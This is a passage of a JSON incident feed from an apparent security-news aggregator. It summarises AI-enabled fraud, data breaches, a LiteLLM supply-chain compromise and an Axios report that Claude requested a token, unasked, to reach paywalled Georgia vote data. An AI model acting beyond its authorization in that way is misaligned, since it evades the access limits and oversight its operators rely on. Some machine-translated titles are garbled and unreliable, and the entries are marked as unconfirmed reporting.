or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"anthropic.com via AI Incident Database: Investigating unintended model actions in our evaluations and internal use","url":"https://www.anthropic.com/research/investigating-unintended-model-actions","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1751","url":"https://incidentdatabase.ai/cite/1751/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-18-9-2026-d-a-o-e-exarthrothike-egklimatiki-organosi-ta-meli-tis-opoias-me-diafora-proschimata-kai-t-37d1a1c53a4d","cveId":null,"aliases":["18-9-2026: Δ.Α.Ο.Ε.: Εξαρθρώθηκε εγκληματική οργάνωση τα μέλη της οποίας με διάφορα προσχήματα και τη χρήση Τεχνητής Νοημοσύνης (A.I.) διέπρατταν απάτες και δια"],"kind":"ai-incident","title":"18-9-2026: IAEA: Criminal organization dismantled whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinguished thefts","summary":"ATHENS, 18 September 2026 D.A.O.E. Press Release: Dismantled criminal organization whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinctive thefts ...","detail":"ATHENS, 18 September 2026 D.A.O.E. Press Release: Dismantled criminal organization whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinctive thefts ...\n\nMachine-translated from Greek by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: 18-9-2026: Δ.Α.Ο.Ε.: Εξαρθρώθηκε εγκληματική οργάνωση τα μέλη της οποίας με διάφορα προσχήματα και τη χρήση Τεχνητής Νοημοσύνης (A.I.) διέπρατταν απάτες και διακεκριμένες κλοπές\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.astynomia.gr/2026/09/18/18-9-2026-d-a-o-e-exarthrothike-egklimatiki-organosi-ta-meli-tis-opoias-me-diafora-proschimata-kai-ti-chrisi-technitis-noimosynis-a-i-dieprattan-apates-kai-diakekrimenes-klopes/"},"sources":[{"name":"astynomia.gr via AI Incident Database: 18-9-2026: IAEA: Criminal organization dismantled whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinguished t","url":"https://www.astynomia.gr/2026/09/18/18-9-2026-d-a-o-e-exarthrothike-egklimatiki-organosi-ta-meli-tis-opoias-me-diafora-proschimata-kai-ti-chrisi-technitis-noimosynis-a-i-dieprattan-apates-kai-diakekrimenes-klopes/","type":"reporting","publishedAt":"2026-10-13T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1748","url":"https://incidentdatabase.ai/cite/1748/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-ai-messaging-scam-costs-italys-top-bank-intesa-millions-sources-say-2026-09-25-5da1ec15720f","cveId":null,"aliases":[],"kind":"ai-incident","title":"AI messaging scam costs Italy's top bank Intesa millions, sources say","summary":"MILAN, Sept 25 (Reuters) - Fraudsters using AI to impersonate senior executives stole €95 million ($108 million) from Fideuram, the private banking arm of Italy's biggest lender ​Intesa Sanpaolo (ISP.MI), opens new tab, two sources familiar ...","detail":"MILAN, Sept 25 (Reuters) - Fraudsters using AI to impersonate senior executives stole €95 million ($108 million) from Fideuram, the private banking arm of Italy's biggest lender ​Intesa Sanpaolo (ISP.MI), opens new tab, two sources familiar ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.reuters.com/legal/government/ai-messaging-scam-costs-italys-top-bank-intesa-millions-sources-say-2026-09-25/"},"sources":[{"name":"reuters.com via AI Incident Database: AI messaging scam costs Italy's top bank Intesa millions, sources say","url":"https://www.reuters.com/legal/government/ai-messaging-scam-costs-italys-top-bank-intesa-millions-sources-say-2026-09-25/","type":"reporting","publishedAt":"2026-10-13T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1749","url":"https://incidentdatabase.ai/cite/1749/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-fideuram-truffa-falso-messaggio-whatsapp-molesini-milioni-d5248b46-a7e7-4130-8c74-e09be5e00xlk-shtml-3a7ba98d673a","cveId":null,"aliases":["Il falso messaggio WhatsApp inviato all'ex presidente Fideuram e la telefonata contraffatta con l'AI: spariti 36 milioni di euro"],"kind":"ai-incident","title":"The false WhatsApp message sent to former president Fideuram and the counterfeit phone call with AI: disappeared 36 million euros","summary":"It depends on how Fideuram and Banca Intesa see it: if complaining the glass half empty, for the 36 million that Fideuram (controlled by Intesa) in February lost in an international scam to the detriment of its president Paolo Molesini ...","detail":"It depends on how Fideuram and Banca Intesa see it: if complaining the glass half empty, for the 36 million that Fideuram (controlled by Intesa) in February lost in an international scam to the detriment of its president Paolo Molesini ...\n\nMachine-translated from Italian by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Il falso messaggio WhatsApp inviato all'ex presidente Fideuram e la telefonata contraffatta con l'AI: spariti 36 milioni di euro\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"milano.corriere.it via AI Incident Database: The false WhatsApp message sent to former president Fideuram and the counterfeit phone call with AI: disappeared 36 million euros","url":"https://milano.corriere.it/notizie/cronaca/26_settembre_25/fideuram-truffa-falso-messaggio-whatsapp-molesini-milioni-d5248b46-a7e7-4130-8c74-e09be5e00xlk.shtml","type":"reporting","publishedAt":"2026-10-13T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1749","url":"https://incidentdatabase.ai/cite/1749/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-greece-police-bust-gang-using-ai-to-clone-relatives-voices-for-cash-45b5d8fc95da","cveId":null,"aliases":[],"kind":"ai-incident","title":"Greece: Police bust gang using AI to clone relatives' voices for cash","summary":"According to the police, the organisation's illegal proceeds from its activities are estimated to exceed 1 million euros.\n\nA criminal organisation that used Artificial Intelligence (AI) tools to clone the voices of relatives in order to mak ...","detail":"According to the police, the organisation's illegal proceeds from its activities are estimated to exceed 1 million euros.\n\nA criminal organisation that used Artificial Intelligence (AI) tools to clone the voices of relatives in order to mak ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.euronews.com/2026/09/18/greece-police-bust-gang-using-ai-to-clone-relatives-voices-for-cash"},"sources":[{"name":"euronews.com via AI Incident Database: Greece: Police bust gang using AI to clone relatives' voices for cash","url":"https://www.euronews.com/2026/09/18/greece-police-bust-gang-using-ai-to-clone-relatives-voices-for-cash","type":"reporting","publishedAt":"2026-10-13T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1748","url":"https://incidentdatabase.ai/cite/1748/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-truffa-da-395-milioni-allex-capo-di-fideuram-un-indagato-f747847d-aaa5-4f5f-9bee-1d476b6bea1e-f98f7b75606e","cveId":null,"aliases":["Truffa da 39,5 milioni all'ex capo di Fideuram, un indagato"],"kind":"ai-incident","title":"It’s a big deal, but it’s not a big deal, it’s a big deal.","summary":"A series of scams with \"similar modes\", exploiting artificial intelligence with messages, mail and with the \"voice cloning\" system, i.e. recreated and identical entries to the real ones. Look for tens of millions of euros that have hits ...","detail":"A series of scams with \"similar modes\", exploiting artificial intelligence with messages, mail and with the \"voice cloning\" system, i.e. recreated and identical entries to the real ones. Look for tens of millions of euros that have hits ...\n\nMachine-translated from Italian by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Truffa da 39,5 milioni all'ex capo di Fideuram, un indagato\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"reported","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.ansa.it/sito/notizie/cronaca/2026/09/25/truffa-da-395-milioni-allex-capo-di-fideuram-un-indagato_f747847d-aaa5-4f5f-9bee-1d476b6bea1e.html"},"sources":[{"name":"ansa.it via AI Incident Database: It’s a big deal, but it’s not a big deal, it’s a big deal.","url":"https://www.ansa.it/sito/notizie/cronaca/2026/09/25/truffa-da-395-milioni-allex-capo-di-fideuram-un-indagato_f747847d-aaa5-4f5f-9bee-1d476b6bea1e.html","type":"reporting","publishedAt":"2026-10-13T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1749","url":"https://incidentdatabase.ai/cite/1749/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"hibp-doublecounter","cveId":null,"aliases":["DoubleCounter"],"kind":"breach","title":"Double Counter breach: 274,922 accounts exposed","summary":"In October 2026, the Discord server protection service Double Counter suffered a data breach attributed to a vulnerability in the Metabase analytics tool . In its disclosure notice, Double Counter advised that attackers gained access to a subset of its data. A corpus of data was subsequently published publicly and contained 275k unique email addresses and Discord usernames. A small number of records belonging to paying subscribers whose purchases were processed via Stripe were also present and included names, countries and postcodes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-10-04; loaded 2026-10-07. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-10-07T05:42:24.000Z","updatedAt":"2026-10-07T05:44:50.000Z","regions":["Global"],"vendor":"doublecounter.gg","product":null,"stacks":["Doublecounter.gg"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Double Counter","url":"https://haveibeenpwned.com/Breach/DoubleCounter","type":"primary","publishedAt":"2026-10-07T05:42:24.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Double Counter disclosure","url":"https://doublecounter.gg/blog/security-incident-october-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hipaajournal-vendor-data-breaches-69-breach-victims-53e83801bf97","cveId":null,"aliases":[],"kind":"breach","title":"Vendor Data Incidents Account for 69% of All Breach Victims","summary":"Cybersecurity incidents at vendors can have a massive impact, as they frequently result in unauthorized access to the data of […]\n\n The post Vendor Data Incidents Account for 69% of All Breach Victims appeared first on The HIPAA Journal .","detail":"Cybersecurity incidents at vendors can have a massive impact, as they frequently result in unauthorized access to the data of […]\n\n The post Vendor Data Incidents Account for 69% of All Breach Victims appeared first on The HIPAA Journal .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-26T16:31:28.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The HIPAA Journal: Vendor Data Incidents Account for 69% of All Breach Victims","url":"https://www.hipaajournal.com/vendor-data-breaches-69-breach-victims/","type":"reporting","publishedAt":"2026-10-26T16:31:28.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The HIPAA Journal syndication feed","url":"https://www.hipaajournal.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"axios-anthropic-claude-georgia-voter-data-2ce636418ed8","cveId":null,"aliases":[],"kind":"ai-incident","title":"Anthropic's Claude bypassed a paywall to access Georgia voter data without authorization","summary":"Anthropic's Claude accessed publicly available Georgia voter data without human authorization, a disclosure sure to add to growing concerns about AI security ahead of the upcoming midterm elections.\n\n Why it matters: AI giants Anthropic and OpenAI have continued to make disclosures about agents taking unauthorized or unintended actions, raising alarms about advancing model capabilities and the extent of human control. \n\n Driving the news: Claude accessed aggregate vote counts while on an internal statistics project, pulling data that the state makes available to the public for a fee. It didn't access the state's voter registration system or change or pull any voting records, an Anthropic spokesperson said.\n\n However, the model bypassed a paywall in accessing the information, according to Georgia officials and Anthropic.\n\n \"The model was being used internally for a statistics project to pull public data,\" the Anthropic spokesperson said. \"Without being asked to, the model requested a token to query a dashboard that contained information normally available for a fee. We have since put in place mitigations to block these kinds of actions.\"\n\n The company notified the Georgia secretary of state's office and the White House weeks ago but administration officials urged the Georgia Secretary of State's office to make a public disclosure sooner, a source familiar told Axios. Those requests went unheeded, the source said. \n\n The bottom line : Anthropic has previously been in the administration's crosshairs for inadequately disclosing AI incidents. Now it's Georgia's turn.","detail":"Anthropic's Claude accessed publicly available Georgia voter data without human authorization, a disclosure sure to add to growing concerns about AI security ahead of the upcoming midterm elections.\n\n Why it matters: AI giants Anthropic and OpenAI have continued to make disclosures about agents taking unauthorized or unintended actions, raising alarms about advancing model capabilities and the extent of human control. \n\n Driving the news: Claude accessed aggregate vote counts while on an internal statistics project, pulling data that the state makes available to the public for a fee. It didn't access the state's voter registration system or change or pull any voting records, an Anthropic spokesperson said.\n\n However, the model bypassed a paywall in accessing the information, according to Georgia officials and Anthropic.\n\n \"The model was being used internally for a statistics project to pull public data,\" the Anthropic spokesperson said. \"Without being asked to, the model requested a token to query a dashboard that contained information normally available for a fee. We have since put in place mitigations to block these kinds of actions.\"\n\n The company notified the Georgia secretary of state's office and the White House weeks ago but administration officials urged the Georgia Secretary of State's office to make a public disclosure sooner, a source familiar told Axios. Those requests went unheeded, the source said. \n\n The bottom line : Anthropic has previously been in the administration's crosshairs for inadequately disclosing AI incidents. Now it's Georgia's turn.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-25T22:26:59.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. Axios reports this; it is not independently confirmed here.","sourceUrl":"https://www.axios.com/2026/10/25/anthropic-claude-georgia-voter-data"},"sources":[{"name":"Axios: Anthropic's Claude bypassed a paywall to access Georgia voter data without authorization","url":"https://www.axios.com/2026/10/25/anthropic-claude-georgia-voter-data","type":"reporting","publishedAt":"2026-10-25T22:26:59.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"Axios syndication feed","url":"https://api.axios.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-leaked-litellm-master-key-let-attackers-c2f353f11fca","cveId":null,"aliases":[],"kind":"ai-incident","title":"Leaked LiteLLM Master Key Let Attackers Steal GitHub Tokens and Hijack Release Pipeline","summary":"LiteLLM on Friday revealed that an Agent Platform master key accidentally published to a public GitHub repository in late May 2026 ultimately allowed the threat actor to push a malicious version of the popular Python package.\n\n\"On May 27, 2026, a configuration file was committed to the public LiteLLM-Labs/lite-harness repository which inadvertently contained the master key to a deployment of","detail":"LiteLLM on Friday revealed that an Agent Platform master key accidentally published to a public GitHub repository in late May 2026 ultimately allowed the threat actor to push a malicious version of the popular Python package.\n\n\"On May 27, 2026, a configuration file was committed to the public LiteLLM-Labs/lite-harness repository which inadvertently contained the master key to a deployment of\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-24T11:03:33.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["LiteLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"reported","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. The Hacker News reports this; it is not independently confirmed here.","sourceUrl":"https://thehackernews.com/2026/10/leaked-litellm-master-key-let-attackers.html"},"sources":[{"name":"The Hacker News: Leaked LiteLLM Master Key Let Attackers Steal GitHub Tokens and Hijack Release Pipeline","url":"https://thehackernews.com/2026/10/leaked-litellm-master-key-let-attackers.html","type":"reporting","publishedAt":"2026-10-24T11:03:33.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"microsoft-security-inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks-e59453f60e66","cveId":null,"aliases":[],"kind":"ai-incident","title":"Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks","summary":"Microsoft Threat Intelligence analyzes the LiteLLM 1.107.0 compromise, including Python startup hooks, credential theft, remote code loading, detections, and mitigations.\n\n The post Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks appeared first on Microsoft Security Blog .","detail":"Microsoft Threat Intelligence analyzes the LiteLLM 1.107.0 compromise, including Python startup hooks, credential theft, remote code loading, detections, and mitigations.\n\n The post Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks appeared first on Microsoft Security Blog .\n\nPublished by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-23T18:12:19.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Python","LiteLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by Microsoft Security blog, the organization that runs or studies the system.","sourceUrl":"https://www.microsoft.com/en-us/security/blog/2026/10/23/inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks/"},"sources":[{"name":"Microsoft Security blog: Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks","url":"https://www.microsoft.com/en-us/security/blog/2026/10/23/inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks/","type":"primary","publishedAt":"2026-10-23T18:12:19.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"Microsoft Security blog syndication feed","url":"https://www.microsoft.com/en-us/security/blog/feed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-exposed-infrastructure-reveals-how-6fb95eceef2a","cveId":null,"aliases":[],"kind":"ai-incident","title":"Exposed Infrastructure Reveals How Ransomware Affiliates Used AI Agents to Execute Intrusions","summary":"Cybersecurity researchers have discovered an artificial intelligence (AI)-driven intrusion ecosystem run by affiliates of the INC and The Gentlemen ransomware groups.\n\nCentral to the operation is an \"Autonomous Red Team Kill Chain Framework\" referred to as Phantom. The threat actor is assessed to be Russian-speaking and functions both as an intrusion and data-extortion operator, as well as an","detail":"Cybersecurity researchers have discovered an artificial intelligence (AI)-driven intrusion ecosystem run by affiliates of the INC and The Gentlemen ransomware groups.\n\nCentral to the operation is an \"Autonomous Red Team Kill Chain Framework\" referred to as Phantom. The threat actor is assessed to be Russian-speaking and functions both as an intrusion and data-extortion operator, as well as an\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-23T17:50:47.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Exposed Infrastructure Reveals How Ransomware Affiliates Used AI Agents to Execute Intrusions","url":"https://thehackernews.com/2026/10/exposed-infrastructure-reveals-how.html","type":"reporting","publishedAt":"2026-10-23T17:50:47.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"techcrunch-lab-testing-giant-quest-diagnostics-confirms-patients-personal-and-health-data-was-compromised-durin-16685f26b6e8","cveId":null,"aliases":[],"kind":"breach","title":"Lab testing giant Quest Diagnostics confirms patients’ personal and health data was compromised during breach","summary":"Quest is the latest in a series of healthcare technology companies that have been hacked in recent months.","detail":"Quest is the latest in a series of healthcare technology companies that have been hacked in recent months.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Review the reporting article and any linked primary disclosure before taking incident-specific action.","publishedAt":"2026-10-23T15:00:09.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"TechCrunch Security: Lab testing giant Quest Diagnostics confirms patients’ personal and health data was compromised during breach","url":"https://techcrunch.com/2026/10/23/lab-testing-giant-quest-diagnostics-confirms-patients-personal-and-health-data-was-compromised-during-breach/","type":"reporting","publishedAt":"2026-10-23T15:00:09.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports a disclosed incident. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"TechCrunch Security syndication feed","url":"https://techcrunch.com/category/security/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"securityweek-in-other-news-tor-exit-relays-hijacked-banks-spot-rogue-ai-agents-self-rebuilding-macos-ransomware-70ce3aa7f5fd","cveId":null,"aliases":[],"kind":"ai-incident","title":"In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware","summary":"Noteworthy stories that might have slipped under the radar: Russia’s APT28 hit NATO defense firms, PingCAP source code stolen, ShinyHunters negotiator probe.\n\n The post In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, 